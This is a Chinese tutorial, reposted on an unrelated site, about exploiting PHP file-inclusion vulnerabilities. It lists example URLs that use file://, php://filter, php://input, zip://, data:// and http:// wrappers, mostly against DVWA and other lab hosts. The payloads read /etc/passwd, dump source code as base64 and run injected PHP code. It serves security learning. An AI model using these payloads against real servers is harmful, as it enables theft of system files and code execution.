文件包含

您所在的位置:网站首页 文件包含反弹shell 文件包含

文件包含

2023-07-26 21:22| 来源: 网络整理| 查看: 265

文件包含漏洞利用的前提

1.web 应用采用 include 等文件包含函数,并且需要包含的文件路径是通过用户传输参数的方式引入; 2.用户能够控制包含文件的参数,被包含的文件可被当前页面访问;

在使用文件包含漏洞时,必须要能知道其绝对路径 方法: 在包含文件处,查看其返回的错误的信息

伪协议文件包含

file:// 访问本地文件系统 http:// 访问 HTTPs 网址 ftp:// 访问 ftp URL Php:// 访问输入输出流 Zlib:// 压缩流 Data:// 数据 Ssh2:// security shell2 Expect:// 处理交互式的流 Glob:// 查找匹配的文件路径

伪协议后文件必须是绝对路径

file 条件:allow_url_fopen: off/on allow_url_include: off/on

Linux :http://127.0.0.1/FI/LFI.php?file=file:///etc/passwd 绝对路径 Windows :http://192.168.6.128:8001/vulnerabilities/fi/?page=file:///C:\DVWA-master\vulnerabilities\fi\1.txt 绝对路径

php

php://伪协议,主要为php://input与php://filter php://input:将POST输入流当做PHP代码执行。其只受 allow_url_include参数的影响,allow_url_fopen开关与此伪协议无关。 php://filter伪协议:不受 allow_url_fopen与allow_url_include参数的影响 http://192.168.6.128:8001/vulnerabilities/fi/?page=php://filter/resource=./1.txt 相对路径 http://192.168.6.128:8001/vulnerabilities/fi/?page=php://filter/resource=file:///C:\DVWA-master\vulnerabilities\fi\1.txt 绝对路径 http://127.0.0.1/FI/LFI.php?file=php://filter/resource=file:///etc/passwd 此协议主要用于读取php源代码时会用到 http://192.168.6.128:8001/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=./1.txt 以base64编码将文件内容输出

zip

条件:allow_url_fopen: off/on allow_url_include: off/on 1 、现将要执行 php 代码写好并且命名为 a.txt,将 a.txt 进行 zip 压缩,命名为 a.zip,如果可以上传 zip 文件便直接上传,如若不能可将 a.zip 命名为 a.jpg 上传; 2 、将 a.php 直接压缩成 a.bz2 http://127.0.0.1/LFI.php?file=zip://D:/phpstudy/PHPTutorial/WWW/a.zip%23a.txt http://127.0.0.1/FI/LFI.php?file=zip://D:/phpstudy/PHPTutorial/WWW/a.jpg%23a.txt

phar

条件:allow_url_fopen: off/on allow_url_include: off/on php 版本大于等于php5.3.0

data

allow_url_fopen: on allow_url_include: on http://192.168.6.128:8001/vulnerabilities/fi/?page=data://test/plain, http://192.168.6.128:8001/vulnerabilities/fi/?page=data://test/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

input

条件:allow_url_fopen:off/on allow_url_include:on http://127.0.0.1/LFI.php?file=php://input 用post方式提交这个数据

http

allow_url_fopen与allow_url_include同时开启。缺一不可 http://localhost/test.php?file=http://www.baidu.com


【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3